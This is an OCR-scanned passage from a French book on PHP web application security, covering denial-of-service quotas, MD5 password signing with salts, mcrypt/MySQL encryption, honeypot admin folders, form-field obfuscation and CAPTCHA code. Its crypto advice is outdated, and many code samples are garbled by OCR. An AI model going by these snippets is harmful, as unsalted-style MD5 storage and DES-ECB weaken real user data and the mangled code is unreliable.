qui produit un contenu cofiteux a obtenir. Quand la requete est courte et la reponse 
enorme, alors le serveur travaille fort, tres fort. 

Par reponse couteuse, on entend toute operation qui engage beaucoup de ressources de la 
part du serveur. Cela peut etre la publication d'un fichier tres long, le chargement d'un tres 
gros fichier sur le serveur, l'execution d'une recherche complexe ou bien dans une table tres 
grande, la reservation de beaucoup de memoire, l'obtention d'une ressource rare, etc. 
Les injections sont ainsi des candidates pour realiser des denis de service : une injection 
SQL peut demultiplier enormement la charge de travail de MySQL et le bloquer sur une 
tache inutile. 

Notez aussi que l'obtention d'une ressource reseau peut se reveler etre un frein pour le 
site web. Imaginez que 1' application aille chercher une image sur un site distant, apres 
fourniture d'une URL par l'utilisateur. Si le serveur de cette URL est programme pour 
repondre tres lentement, cela va occuper un processus PHP complet de 1' application 
durant tout ce temps. PHP va devoir attendre que le chargement de 1' image distante soit 
complete avant de continuer son traitement. En lancant suffisamment de chargements 
simultanes, on peut engorger le serveur. 

Quota de consommation 

Pour contrer les denis de service, il faut identifier les ressources lentes et gerer leur utilisation. 
Cela se fait en imposant un quota d' utilisation journalier. Le dictionnaire des synonymes 
de l'universite de Caen (http://elsapl.unicaen.fr/dicosyn.html) limite les consultations 
a 1 000 par jour, pour eviter de se faire piller son dictionnaire : cela economise de la 
bande passante et du temps de calcul, tout en laissant a chaque utilisateur la possibility 
d'utiliser le service de maniere raisonnable. 



Identification des clients 

II est aussi possible de demander une identification avant l'acces a un service. A partir 
d'une identification par cookie ou par session, il est possible de gerer un veritable comp- 
teur et un quota. Du point de vue du pirate, cela indique clairement que l'acces a cette 
ressource est surveille et que les abus seront sanctionnes. 
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Debrayer le systeme 

II est egalement recommande d' avoir un outil pour desactiver facilement et proprement 
un service potentiellement gourmand. Par exemple, si un service de recherche est regu- 
lierement en surcharge, mettant en peril la stabilite du serveur, il est important de pouvoir 
le desactiver et le mettre en berne avec un mot d' excuse bien tourne. Un message de 
l'administrateur est toujours mieux accueilli que des ralentissements repetitifs et sans 
explication. 

Vous pouvez aussi installer une file d'attente pour la realisation du travail demande. C'est la 
technique adoptee parWebthumb (http://bluga.net/webthumb/), le site de Joshua Eichorn 
qui produit des apercus miniatures des sites web. Comme cette operation est coflteuse, il 
enregistre chaque demande dans une file et livre les resultats au fur et a mesure du traite- 
ment par son systeme. Les jours ou ce dernier est sans charge, le resultat est immediat, et 
les autres jours, on obtient une URL que Ton peut surveiller jusqu'a ce que les resultats 
soient disponibles. 

La mise a disposition par courrier electronique est aussi une bonne solution, avec le 
double avantage d'identifier les demandeurs, et de ralentir le rythme de livraison des 
resultats, ce qui decourage les pirates. 

Gestion des mots de passe 

La gestion des mots de passe est un probleme courant : il faut en effet savoir stacker 
correctement les mots de passe des utilisateurs de votre systeme, en plus de gerer ceux de 
votre application. 

La premiere idee a bannir immediatement est le stockage des mots de passe en clair : 
quel que soit le support de stockage, il est imperatif de proteger les mots de passe des 
pirates, mais aussi, et surtout, de vous-meme. Vous pouvez considerer qu'un mot de 
passe fait partie de la vie privee d'un utilisateur : ainsi, il ne faut pas que vous puissiez en 
decouvrir la valeur, meme par inadvertance. C'est la le paradoxe de l'administrateur : 
gerer une valeur qu'il ne doit pas connaitre. Si les mots de passe sont en clair, il est trop 
facile de les afficher sans le vouloir, avec une simple commande SQL : 

mysql> SELECT * FROM users; 

Signature 

La methode la plus simple pour gerer des mots de passe sans en connaitre la valeur est 
d'utiliser une signature. Une signature est une chaine de caracteres produite a partir 
d'une fonction injective et d'une valeur a signer. Une fonction injective produit toujours 
le meme resultat a partir des memes arguments, mais ne connait pas de fonction inverse. 

Ainsi, en signant un mot de passe avant de le stacker, vous allez le rendre illisible. Toute- 
fois, vous pourrez comparer deux signatures de mots de passe. Si elles sont identiques, il 
y a de tres fortes chances que 1' utilisateur soit le proprietaire du compte. 
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II existe de nombreux algorithmes de signature, parmi lesquels MD5 et SHA1. PHP et 
MySQL disposent tous les deux de plusieurs algorithmes pour effectuer les signatures de 
donnees. Certains, tels que MD5 et SHA sont d'ailleurs disponibles dans les deux envi- 
ronnements. 

Stockage des mots de passe 

Lorsque vous recevez un mot de passe a stocker, que ce soit au moment de sa creation ou 
bien lorsque l'utilisateur le modirie, vous devez le signer et stocker la signature. En voici 
un exemple : 

<?php 

$signature = md5($mot_de_passe) ; 

$requete = ' INSERT INTO utilisateurs VALUES ("' 
.mysql i_escape_string($l ogin) . ' " , 
.mysql i_escape_string($si gnat Lire) .'")'; 

?> 

Ou bien, vous pouvez utiliser la version MySQL : 
<?php 

$requete = 'INSERT INTO utilisateurs VALUES ("' 
.mysql i_escape_string($l ogin) . ' " , md5C" 
.mysql i_escape_string($signature) .'")'; 

?> 

Notez que MD5 fonctionne avec a peu pres n'importe quelle chaine de caracteres et 
produit toujours une chaine de 32 caracteres, quelle que soit la valeur d'entree. Cela 
protege le systeme de stockage contre la majorite des injections. Si vous utilisez SQL, 
pensez alors a adapter la taille de votre colonne de mot de passe a CHAR(32). D'autres 
algorithmes utilisent des tailles differentes, fixes ou non. 

Une fois signe, le mot de passe n'est plus lisible directement : 

mysql> select MD5( ' nexen ' ) ; 

+ + 

| MD5 ( 'nexen') 

+ + 

| beca371a0b80aba9f376b69fd6ebf517 | 

+ + 

Comme il n'y a pas de moyen pour decoder cette chaine de caracteres, un pirate qui 
obtiendrait une copie de cette base de donnees devrait faire face a une intense session de 
tests en force brute pour obtenir le mot de passe initial et l'utiliser. 

Renforcement de la signature 

Comme toujours en matiere de securite, une seule mesure ne suffit pas. Par exemple, MD5 
est un algorithme efficace, mais le site http://gdataon1ine.com/ a entrepris de stocker les 
signatures MD5 d'un maximum de mots de passe ; en interrogeant la base de donnees avec : 

beca371a0b80aba9f376b69fd6ebf517 
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en moins de 0,048 seconde, on obtient la valeur initiale : nexen. 

II faut savoir que les ordinateurs modernes sont capables de calculer des signatures a la 
vitesse de quelques milliers par seconde et que cela va encore s'accelerer a l'avenir. 
Ainsi, une signature peut etre rapidement verifiee dans un dictionnaire, ou testee avec 
une attaque par force brute. 

Dans ces conditions, un mot de passe de six lettres constitue done une protection bien 
faible. D'un autre cote, si vous imposez a vos utilisateurs des mots de passe de vingt 
caracteres alphanumeriques, attendez-vous a des recriminations : cela commence a faire 
long. II est probable que les utilisateurs vous demanderont de reduire la taille du mot de 
passe, ou l'inscriront sur un bout de papier qu'ils colleront sur leur ecran : parfois, la 
securite tient a bien peu de chose. 

Pour allonger un mot de passe sans faire confiance a la memoire des utilisateurs, il suffit 
de lui ajouter vous-meme des caracteres avant la signature. En anglais, on appelle cela un 
« grain de sel » ou salt. En francais, e'est simplement une rallonge pour le mot de passe. 
Voici comment faire : 

<?php 

DEFINE( 'prefixe_mdp' , 'pref ixe_' ) ; 

$signature = md5(prefixe_mdp. $mot_de_passe) ; 
$requete = 'INSERT INTO utilisateurs VALUES (" ' 

.mysqli_escape_string($login). ' ", "' 

.mysql i_escape_string($signature) .'")'; 

?> 

Vous pouvez evidemment compliquer la technique a votre gre : un suffixe en plus du 
prefixe, ou meme l'incrustation d'une chaine de caracteres a l'interieur du mot de passe. 
II suffit que l'operation soit facile a appliquer et que vous pensiez a l'ajouter a chaque 
fois que vous produisez une signature, que ce soit pour la comparaison ou pour l'enregis- 
trement. II est suffisant que la signature soit aussi une fonction injective : elle doit 
toujours donner le meme resultat. 

<?php 

function prepare_signature($mot_de_passe) { 
$mot_de_pase = 'prefixe' . $mot_de_passe. 'suffixe' ; 
return strrev($mot_de_passe) ; 

} 

$signature = md5(prep«re_sign«ture($mot_de_passe)); 

$requete = 'INSERT INTO utilisateurs VALUES ("' .mysql i_escape_string($l ogin) .'" , 
' .mysql i_escape_string($signature) . ' " ) ' ; 

?> 

Pensez aussi a toujours compliquer le mot de passe, comme lors d'une rallonge, plutot 
que de le simplifier, par exemple en le coupant. 
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Notons egalement qu'il vaut mieux utiliser une signature SHA256 ou SHA512 dans vos 
applications. En effet, les signatures MD5 sont considerees comme « crackees ». On 
considere une signature crackee a partir du moment oil il est possible de trouver facilement 
des collisions avec l'algorithme. Une collision est un couple de deux chaines produisant 
la meme signature. 



Verification des mots de passe 

Apres avoir enregistre le mot de passe dans votre base de donnees, il faut pouvoir le 
retrouver, sans savoir le lire. En fait, il faut pouvoir comparer la signature du mot de 
passe fourni par un utilisateur avec celle enregistree dans la base. 

Si les deux signatures correspondent, vous pouvez etre raisonnablement certain que 
l'utilisateur a fourni le bon mot de passe : 

<?php 

define( 'prefixejndp' , 'prefixe_' ) ; 

Ssignature = md5(pref ixe_mdp. $_GET[ 'mot_de_passe' ] ) ; 

$requete = 'SELECT COUNTt*) FROM utilisateurs WHERE login = "' 

.mysql i_escape_string($l ogin) . ' " AND password = "' 

.mysql i_escape_string($signature) . '"' ; 

?> 



Fiabilite de la signature 

En theorie, il est possible de trouver deux mots de passe distincts qui disposent de la meme signature. 
Dans ce cas, il deviendrait possible de s'identifier a la place d'un autre utilisateur. En pratique, cette tech- 
nique fonctionne toujours et la probabilite de contourner la signature est tres faible. 



La signature vous permet ainsi d' identifier un utilisateur a partir d'un mot de passe, tout 
en preservant la confidentialite de ce dernier. 



Creation de mots de passe 

Pour la creation de mots de passe, il est recommande d'utiliser un generateur automatique, 
qui brasse un grand nombre de caracteres differents : lettres majuscules et minuscules, 
quelques chiffres et des caracteres speciaux. La taille du mot de passe doit etre de 6 a 

10 caracteres. 

Evitez de prendre des mots de passe trop evidents, comme des mots complets en francais, 
en anglais ou meme dans d'autres langues. Ce qui est exotique pour vous ne le sera pas 
pour d'autres. 

11 est toujours interessant d' avoir un melange de majuscules, minuscules et de chiffres 
dans un mot de passe. Par exemple, P4rl5 se base sur le mot « Paris », mais effectue des 
remplacements de lettres par des chiffres, en fonction de leur ressemblance : « 1 » pour 



Mesures de securite pour les technologies connexes 

Partie 4 



« i » ou « 1 » (« L » minuscule), « 4 » pour « A », « 3 » pour « E », « 5 » pour « S ». Cela 
renforce votre mot de passe, mais ces regies sont tres repandues et les moteurs de 
craquage des pirates sont generalement renseignes a leur sujet. 

Ajouter quelques fautes d'orthographe ou expressions phonetiques est une autre astuce 
pour compliquer un mot de passe tout en lui conservant un caractere mnemotechnique. 

Le paradoxe du mot de passe est que Ton veut qu'il soit tres difficile a deviner, mais 
facile a retenir. Voici quelques regies a retenir pour choisir un mot de passe robuste : 

1 . II doit etre aussi long que possible. 

2. II ne doit avoir aucune signification. 

3. II doit contenir des caracteres varies. 

Pour satisfaire toutes ces exigences, voici une astuce : prenez une phrase et selectionnez 
les premieres lettres de chaque mot. Par exemple, la phrase : 

Le vif zephyr jubile sur les kumquats du clown gracieux. 

devient : 

Lvzjsl kdcg 

II est possible de prendre la deuxieme ou la derniere lettre du mot : a vous de composer 
votre technique. Dans tous les cas, le mot de passe est facile a retenir, mais plus difficile 
a deviner. 

Efrerssunx # derniere lettre 

Eieuueuul r # deuxieme lettre. Attention, les lettres sont peu variees 



Mots de passe perdus 

La signature pose un probleme ergonomique : lorsque l'utilisateur a perdu son mot de 
passe, il n'est plus possible de lui rafraichir la me moire en lui affichant son mot de passe 
courant. En fait, personne ne peut plus retrouver son mot de passe et il n'est pas question 
de tenter de casser la signature qui a ete appliquee. 

Le plus simple est done de generer un nouveau mot de passe et de le lui transmettre par 
courrier electronique, ou par un autre moyen detourne : par exemple, une compagnie de 
telecommunication peut vous envoyer un nouveau mot de passe via SMS, si elle connait 
votre numero de telephone. De cette maniere, vous vous assurerez que la personne qui 
demande un nouveau mot de passe est bien celle qui est proprietaire du compte. 



Chiffrement et signatures 

Les techniques de chiffrement et de signature sont courantes pour assurer la confidentialite 
des donnees sur un site web. Les deux techniques s'utilisent simultanement, mais elles 
n'ont pas les memes objectifs. 
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Chiffrement 

Le chiffrement consiste a transformer les donnees a l'aide d'un algorithme reversible, dit 
aussi bijectif, et d'une cle secrete. Suivant les techniques, un chiffrement permet de trans- 
former une valeur en code secret a l'aide de la cle et de retrouver la valeur initiale a 1' aide 
de cette cle. Certains chiffrements modernes permettent de chiffrer avec une cle et de 
dechiffrer avec une autre cle associee. 

Dans sa version la plus simple, un chiffrement est simultanement capable de coder le 
message et de le decoder : c'est l'exemple de la fonction str_rotl3( ) de PHP, qui effectue 
une permutation des lettres. C'est evidemment un systeme de chiffrement tres faible. 

// avant chiffrement par rot 13 
chiffrement 

abcdefghi jklmnopqrstuvwxyz 
// apres chiffrement par rot 13 
puvsserzrag 

nopqrstuvwxyzabcdefghi jklm 

Signature 

La signature transforme aussi les donnees, mais de maniere irremediable. Une fois modi- 
fiees, il est impossible de revenir en arriere en utilisant des moyens raisonnables. Si vous 
chiffrez un message, mais sans donner a personne la cle de dechiffrement, alors cela 
revient a une signature. 

Les methodes plus modernes utilisent generalement une cle, ou plusieurs cles : il y a les 
chiffrements qui se servent de la meme cle pour chiffrer et dechiffrer, ceux qui utilisent 
des cles differentes et ceux qui imposent des combinaisons de cles pour chiffrer des 
donnees. 

Chiffrement en PHP et MySQL 

PHP dispose de l'extension mcrypt pour acceder a un grand nombre de methodes de 
chiffrements : DES, 3DES, Blowfish, THREEWAY, SAFER64, SAFER128, TWOFISH, TEAN, RC2, GOST, RC6, 
IDEA, etc. Voici un exemple : 

<?php 

$key = "La cle secrete"; 

$input = "Rendez-vous a 9 heures, dans notre planque."; 

$td = mcrypt_module_open( 'tripledes' , ", MCRYPT_MODE_ECB, "); 
$iv = mcrypt_create_i v (mcrypt_enc_get_iv_size($td) , MCRYPT_RAND) ; 
mcrypt_generic_init($td, $key. $iv); 
$encrypted_data = mcrypt_generic($td, $input); 
mcrypt_generic_deinit($td) ; 
mcrypt_module_close($td) ; 

?> 
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MySQL dispose par defaut de AES, DES et crypt. Ces fonctions sont integrees au moteur 
SQL, et s'executent directement sur le serveur, via les requetes SQL. 

mysql> set @cle := "La cle secrete"; 

mysql> set @clair := "Rendez-vous a 9 heures, dans notre planque."; 

mysql> select ©chiffre := des_encryp(@cl ai r, @cle); 

mysql> select @cle, des_descrypt(@chiffre, @cle); 



Limitation du chiffrement 

Le chiffrement des donnees en base a trois inconvenients majeurs, qui freinent son 
adoption : 1' importance que prend la cle, Timpossibilite d'utiliser les fonctionnalites des 
bases SQL et les performances. 

Dependence a la cle 

La premiere limitation est evidemment que les donnees chiffrees dependent maintenant 
de la cle de chiffrement. Sans cette cle, il n'y a plus moyen de retrouver les donnees. 
Quand une application fonctionne et qu'il faut la mettre a jour, il peut etre difficile de 
retrouver cette cle. Et si on ne retrouve pas la cle, alors toutes les donnees sont perdues. 

Pertes de fonctionnalites 

Une deuxieme limitation est que les donnees chiffrees ne permettent pas d' exploiter les 
capacites des serveurs SQL. II n'est plus possible de faire de recherche dans une colonne 
chiffree, puisque les donnees sont protegees. II faut alors dechiffrer la colonne pour y effec- 
tuer la recherche, voire lire le contenu pour le transmettre a PHP qui fera la recherche. 

Toutefois, il est toujours possible de faire des recherches exactes : c'est precisement la situa- 
tion qui est exploitee pour rechercher un nom de compte qui correspond a un mot de passe : 

mysql> SELECT * FROM table WHERE des_encrypt( 'valeur' ,@cle) = colonne ; 

Neanmoins, des recherches partielles, par exemple avec l'operateur LIKE, doivent mainte- 
nant se faire comme ceci : 

mysql> SELECT * FROM table WHERE des_decrypt(colonne) LIKE 'XvaleurSS' ; 

Pertes de performances 

Enfin, la troisieme limitation au chiffrement concerne les performances. Un chiffrement 
symetrique est tres couteux et reduit considerablement les performances du systeme. Le 
chiffrement en entree, puis le dechiffrement en sortie des donnees, imposent une charge 
de travail au serveur qui est incompatible avec les forts trafics. 



Pots de miel et trappes 

La plupart des pirates tentent d' exploiter des applications web populaires et repandues. 
Ces applications sont effectivement les plus faciles a trouver ; leur code source est 
souvent ouvert, et done connu a l'avance. Le nombre des utilisateurs qui se servent des 
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configurations par defaut est plus grand. II est alors facile d'utiliser toutes ces informa- 
tions pour organiser une attaque. 

Dans les applications web, les interfaces d' administration sont generalement accessibles 
au meme endroit que l'application elle-meme : tout ce qu'il faut faire, c'est trouver le nom 
du dossier qui la contient et on peut y exploiter une vulnerabilite. 

Petit nom du dossier d'administration 

Une premiere technique de protection consiste a modifier les nom et emplacement du 
dossier d'administration pour compliquer la tache du pirate. Au lieu de admi n, admi ni strator 
ou encore adm, vous pouvez lui donner un nom de votre choix, aussi complique qu'un mot 
de passe. 

En pratique, cela n'empeche pas les pirates de tenter d'utiliser votre dossier d'adminis- 
tration pour y tester des vulnerabilites. Desormais cependant, ce dossier n'existe plus et 
les pirates repartent bredouilles. 

Repartent ? Si le dossier d'administration qu'ils cherchent n'est pas range la ou ils 
l'attendaient, alors ils vont sflrement a le chercher ailleurs. En effet, une application sans 
acces administrateur est impensable ! En changeant de nom de dossier d'administration, 
nous avons gagne une longueur sur les pirates, mais ils vont vite adapter leur strategie. 

Simulation de I'interface administrateur 

Alors, tout en gardant le vrai dossier cache, on peut conserver en guise de leurre le 
dossier d'administration attendu, et meme y laisser quelques fichiers incontournables, 
comme l'ecran d' identification et le panneau d'accueil. Ces ecrans doivent ressembler en 
tous points aux ecrans habituels : memes images, memes messages d'erreurs eventuels, 
etc. On simule au maximum la presence du dossier d'administration, mais sans effectuer 
aucune operation sur le serveur. 

Le premier avantage de cette approche est que le pirate leurre va tester ses idees sur ces 
pages, au lieu de chercher la vraie page d'administration. Avec un peu de reussite dans la 
creation du leurre, vous pourrez lui faire perdre un temps precieux. 

De plus, comme le veritable dossier d'administration est ailleurs, on peut maintenant 
disposer de faux scripts d'administration dans ce dossier pour noter tout ce qui se passe. 
Non seulement le pirate va perdre son temps, mais on va pouvoir analyser comment il s'y 
prend pour exploiter une vulnerabilite sur notre site. 

C'est le principe des pots de miel : comme on attire mieux les mouches avec du miel 
qu'avec du vinaigre, les pirates seront attires par cette proie facile et y testeront leurs tours 
de passe-passe, en vain. 

Entre-temps, vous aurez eu tout le loisir de noter son adresse IP et toutes les autres infor- 
mations qu'il aura laissees durant sa tentative. Vous pouvez aussi noter les requetes HTTP 
qui sont utilisees pour comprendre quelle attaque est utilisee et verifier par vous-meme 
que votre vrai dossier d'administration est immunise. Cela vous donne une deuxieme 
longueur d'avance sur les pirates. 
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Vous pouvez trouver des projets de pots de miels (honey pot, en anglais) ecrits en PHP, 
comme http: / /www. rstack.org/phphop/. 

Pour etre efficace, un pot de miel doit etre aussi similaire que possible a l'original. II faut 
aussi que vous surveilliez de pres les logs qu'il retoume 



Complication du code source 

Un avantage de l'Open Source est que le code source est accessible librement en lecture. 
C'est notamment vrai sur le Web, ou le code de toutes les pages HTML est disponible par 
un simple clic dans le menu ad hoc du navigateur : « Voir le code source de la page ». 

Du point de vue de la securite, c'est un aspect negatif, puisque n'importe qui peut ainsi 
lire votre code et voir les techniques que vous utilisez dans votre application. Heureusement, 
les applications web reposent aussi sur les ressources du serveur, qui sont entierement a 
votre discretion. 

Si vous ne pouvez pas empecher un utilisateur de votre site de lire le code source de la 
page, vous avez a votre disposition differentes techniques pour lui compliquer la lecture. 
Le navigateur dispose d'un moteur pour analyser le code HTML et JavaScript, puis 1' affi- 
cher tel que desire. II suffit done de modifier le code source HTML pour le rendre moins 
lisible par un etre humain. 

Certains codes des pages sont utilises par le navigateur et d'autres sont destines aux utili- 
sateurs. Par exemple, les champs de formulaires ont tous un nom, pour que le navigateur 
et le serveur sachent quelles sont les valeurs manipulees : 

<html> 

<body> 

<form action="/index.php" method="POST"> 
Nom : <input type="text" value="" name="nom" /> 
<input type="submit" val ue="Al 1 er" name="bouton" /> 
</form> 
</body> 
</html> 

II n'est pas question de toucher a 1' interface graphique, mais vous pouvez utiliser des 
noms de champ a votre guise : par exemple, les passer a MD5 avant de les publier : 

<html> 

<body> 

<form action="/index.php" method="POST"> 
Nom : <input type="text" value="" 

name="aee37c30f5d091a495526f636a3527bb" /> 
<input type="submit" value="Aller" 
name="607dld4742fdc8089alc644f8c6cc0f9" /> 
</form> 
</body> 
</html> 
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Pour recuperer facilement les valeurs attendues, utilisez ce type de decodage : 
<?php 

Sformulaire = array( 'nom' , 'bouton' ) ; 
foreach($formulaire as $var) { 

$_NORMAL[$var] = $_P0ST[md5($var)] : 

} 

?> 

Vous pouvez aussi appliquer une protection semantique, bien plus difficile a evaluer par 
un script automatique et difficile a comprendre pour un humain. Imaginez un formulaire 
d' identification ou le champ de nom d'utilisateur s'appelle password et le champ de mot 
de passe s'appelle 1 ogin. Pour peu que le reste de l'interface soit en francais, votre pirate 
anglophone est bon pour une surprise qui sera difficile a identifier. 

<html> 

<body> 

<form action="/index.php" method="POST"> 
Nom : <input type="text" valuer"" name="bouton" /> 
<input type=" submit" val ue="Al 1 er" name="nom" /> 

</form> 
</body> 
</html> 

Pour recuperer ces valeurs : 

<?php 

$formulaire = arrayCnom' => 'bouton' , 'bouton' => 'nom') ; 

foreach($formulaire as $origine => $reel) { 

$_PROPRE[$reel] = validation($_POST[$origine]) ; 

} 

?> 

Evidemment, cette approche ne vous epargne pas pour autant la validation des donnees. 

Certaines apphcations vont jusqu'a produire des formulaires dynamiquement, avec des noms 
de champs differents pour chaque invocation. 

<?php 

session_start( ) ; 

$_SESSI0N[ ' form_nom' ] = md5( 'nom' .date( ' r' ) ) ; 
$_SESSI0N[ ' form_bouton ' ] = md5( 'bouton ' .date( ' r' )) ; 



?><html> 
<body> 

<form action="/index.php" method="POST"> 
Nom : <input type="text" value"" name="<?php echo 
^$_SESSION['form_nom'];?>" /> 

<input type="submit" val ue="Al 1 er" name="<?php echo 
^$_SESSION['form_bouton'];?>" /> 

</form> 
</body> 
</html> 
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Pour recuperer ces valeurs, il faut alors se baser sur les noms places en session : 
<?php 

session_start( ) ; 

foreach($_SESSION as $origine => $reel) { 
$_NORMAL[$reel ] = $_POST[$origine] ; 

} 

?> 



CAPTCHA 

CAPTCHA est l'acronyme anglophone pour « Completely Automated Public Turing test 
to tell Computers and Humans Apart » : un test de Turing completement automatise pour 
faire la difference entre un humain et un ordinateur. 

Cette difference se revele importante, car Internet est peuple de deux formes de vie : les 
humains et les robots, applications automatisees qui effectuent les memes operations que 
les humains, mais bien plus vite et sans se lasser. 

Prenons l'exemple des spammeurs de commentaires : de nombreux blogs ont mis en 
place des systemes de commentaires, dans le but de faciliter les echanges entre l'auteur et 
sa communaute. Malheureusement, cela constitue une cible ideale pour un spammeur : il 
peut envoyer un message publicitaire en guise de commentaire ou placer un lien vers son 
site, avec l'espoir de grimper dans les classements des moteurs de recherche. Certains 
blogs ont ainsi vu des centaines de commentaires inutiles etre postes en quelques heures. 
Des auteurs finissent par passer plus de temps a effacer les spams qu'a bloguer. C'est un 
combat qui se repete tous les jours. 

Avant les CAPTCHA, il n'y avait aucune parade autre que la suspension des fonctionna- 
lites, la moderation de ces centaines de commentaires etant tout bonnement redhibitoire 
et les filtres par mots-cles trap faciles a contourner. 

Un CAPTCHA se presente sous la forme d'un champ de formulaire supplementaire. II 
s'agit d'une question dont la reponse sera aisee pour un etre humain, mais impossible 
pour un robot (en theorie). Un tel test est appele un test de Turing. Certains sont tres 
simples, d'autres particulierement sophistiques. Voici quelques concepts : 

1. Resolution d'une equation mathematique, avec quelques operations de base : Addi- 
tionnez 10 et 12 . 

2. Reponse a une question qui n'a rien a voir avec le site : quel est le prenom de l'auteur 
du site ? Ou bien quel jour etions-nous hier ? 

3. Lecture d'une chaine de caracteres tordus : c'est la forme la plus classique des 
CAPTCHA. 

4. Ecoute d'un texte en format audio, dont il faut stacker les caracteres enonces dans le 
champ. C'est un complement du test precedent, adapte aux utilisateurs ayant des 
problemes de vue. 

5. Tests de logique du type : quelle image n'est pas de la meme famille que les deux autres ? 
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6. Tests bases sur 1' execution de JavaScript : les moteurs de spams sont generalement 
trop rudimentaires pour executer correctement ces codes, alors qu'un navigateur 
complet le fera aisement, tant que JavaScript est active. 

Limitations des CAPTCHA 

Les CAPTCHA doivent resoudre un paradoxe : etre accessibles a un etre humain et 
presenter un niveau eleve de resistance a l'intelligence artificielle. De plus, ils peuvent 
etre contournes par des techniques d'ingenierie sociale. 

Laccessibilite est le premier probleme que rencontrent les CAPTCHA. Le test de Turing 
se heurte aux capacites de l'utilisateur humain. Par exemple, des lettres deformees sont 
difficiles a resoudre pour un utilisateur malvoyant et impossibles a resoudre pour un utili- 
sateur aveugle, qui utilise un lecteur d'ecran. II faut alors passer a un test audible. Ce 
dernier sera inaccessible a un sourd. Et il existe une partie de la population qui est a la 
fois sourde et aveugle. Les tests cognitifs sont inaccessibles aux handicapes mentaux et 
certains tests pourront meme heurter la sensibilite des gens, comme les CAPTCHA qui 
font choisir trois beaux visages parmi neuf. 

A F inverse, certains tests sont tres faciles a passer, meme par un script automatise. Par exem- 
ple, certains textes deformes peuvent etre dechiffres par des systemes de reconnaissance de 
formes, tels que ceux utilises pour les fax. II est aussi possible d'entrainer rapidement un 
script PHP a reconnaitre les images ou les sons joues, car le CAPTCHA n'est qu'un assem- 
blage de valeurs, tirees d'un dictionnaire court. Les tests cognitifs doivent presenter suffi- 
samment de questions differentes pour ne pas etre vulnerables a une attaque par dictionnaire. 

Si, pour resoudre un CAPTCHA, il faut absolument un humain, il suffit de trouver un 
humain de remplacement. C'est ce qu'ont fait certains spammeurs, qui ont cree un site 
avec des images pornographiques. Les comptes etaient gratuits et, pour eviter les spam- 
meurs (sic), ils demandaient la resolution d'un CAPTCHA qui etait en fait tire d'un autre 
site. Comme les sites graphiques attirent toujours beaucoup de monde, notamment pour 
des contenus gratuits, il y avait toujours quelqu'un pour resoudre le CAPTCHA a la place 
du spammeur. C'est une technique d'ingenierie sociale. 

En fait, certains sites etudient desormais la resistance des CAPTCHA aux scripts. Ils 
testent avec differentes methodes les CAPTCHA generes, dans le but de demontrer que 
le niveau de securite n'est pas suffisant. C'est le cas de http://captcha.megaleecher.net/. 

Certains spammeurs professionnels reconnaissent qu'ils sont capables d'etudier des CAPT- 
CHA et de leur trouver une solution « scriptee » dans des delais assez courts, entre une 
semaine et un mois. Toutefois, ces systemes automatises sont tres fragiles et ils ne sont gene- 
ralement pas interessants si le CAPTCHA n'est utilise que par une dizaine de sites. En clair : 
surtout si vous utilisez une application Open Source, personnalisez vos tests ! 

Mise en place d'un CAPTCHA 

Quel que soit le type de test de Turing, la mise en place d'un CAPTCHA fonctionne 
toujours sur le meme principe. Le test est genere sur le serveur web, a partir d'une source 
aleatoire. La solution est enregistree sur le serveur dans une session PHP. Puis, la solution 
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est transformee en question, via un processus de deformation : generation d'une image, 
d'un son, d'un test, etc. Enrin ce dernier est affiche. 

Voyons un exemple de la structure du formulaire : 

<!D0CTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 

"http://www.w3.org/TR/xhtmlll/DTD/xhtmlll.dtd"> 

<?php 

session_start( ) ; 

if (! empty ($_POST['captcha'])) { 
if ($_POST['captcha'] == $_SESSI0N[ ' captcha ' ] ) { 

$resultat = '<p>Sois le bienvenu!</p>' ; 
} else { 

Sresultat = '<p>Va-t-en, mechant robot!</p>'; 

} 

} else { 

$resultat = ' <p>Etes-vous un robot ou un humain?</p>' ; 

} 

$_SESSI0N[' captcha'] = substr(md5(rand(0, 100000) .time( )) ,0,6) ; 

?><html> 
<head> 

<meta http-equiv="content-type" content="text/html ; charset=utf-8"> 

<title>CAPTCHA</title></head> 

<body> 

<?php echo $resultat; ?> 

<form action="index.php" method="post"> 

<img src="captcha.php"> <input type="text" name="captcha" value=""Xbr /> 

<input type="submit" value="go" /> 

</form> 

</body> 
</html> 

Paradoxalement, le script se lit depuis le bas vers le haut, meme s'il s' execute dans 
l'ordre inverse. 

Tout en bas, vous trouverez un formulaire, qui devrait afficher quelque chose de semblable 
a ceci : 

Figure 10-1 

Etes-vous un robot ou un numain? 

i 

go 
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L' image de CAPTCHA est dans la balise IMG et la source est captcha . php : nous y revien- 
drons. Le reste du formulaire est tres simple et vous pouvez y ajouter tous les champs que 
vous souhaitez. 

Le script PHP au-dessus se charge de preparer le test. Lors de la premiere sollicitation du 
formulaire, le script demarre une session PHP et y stocke une valeur produite aleatoire- 
ment. Cette derniere est remplacee a chaque utilisation du formulaire, pour eviter les 
attaques systematiques du formulaire : comme le test est toujours regenere, il ne sert a 
rien de tenter plusieurs reponses. 

Cette technique permet en outre d' avoir une solution simple pour le cas ou le CAPTCHA 
est trop difficile : il suffit a l'utilisateur de recharger la page pour obtenir un test different. 

La valeur creee est stockee en session, pour que le client n'ait aucune chance de la deviner a 
partir des informations dans la page. Lorsque le formulaire est soumis, on peut alors 
comparer la valeur qui est envoyee avec celle qui est dans notre session. En cas d'egalite, 
on a identifie un etre humain et en cas d'echec, on a identifie assez surement un robot. 

Le test CAPTCHA est produit dans le script captcha. php : nous allons presenter un test 
visuel, ce qui est tres adapte pour un livre. Nous vous laissons le soin de concevoir votre 
propre test, adapte a votre audience et au niveau de securite que vous souhaitez. 

<?php 

header( "Content-Type: image/png" ) ; 

session_start( ) ; 

Sim = imagecreatedOO, 40); 

$white = imagecolorallocate($im, 255, 255, 255); 
$black = imagecolorallocate($im, 0, 0, 0); 

imagefill ($im, 0, 0, $white); 

if (!empty($_SESSI0N['captcha'])) { 
for($1 = 0; $1 < strlen($_SESSI0N['captcha']); $i++) { 
$r = rand(0,255); 
$g = rand(0,255); 

$b = sqrtUOO * 100 - $r * $r - $g * $g); 

$couleur = imagecolorallocate($im, $r,$g,$b); 

imagechar($im, rand(0,4), 0 + 10 * $i + rand(0, 5), rand(0, 10) , 

^•$_SESSI0N[ , captcha , ][$i]. $couleur); 

} 

} 

imagepng($im) ; 
imagedestroy($iin) ; 

?> 

Ce script produit une image, done il emet les en-tetes HTTP necessaires pour une 
image PNG. 
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Si la valeur a presenter dans l'image n'existe pas en session, une image vide est produite. 
Cette situation correspond probablement a une sollicitation directe de l'image de CAPTCHA, 
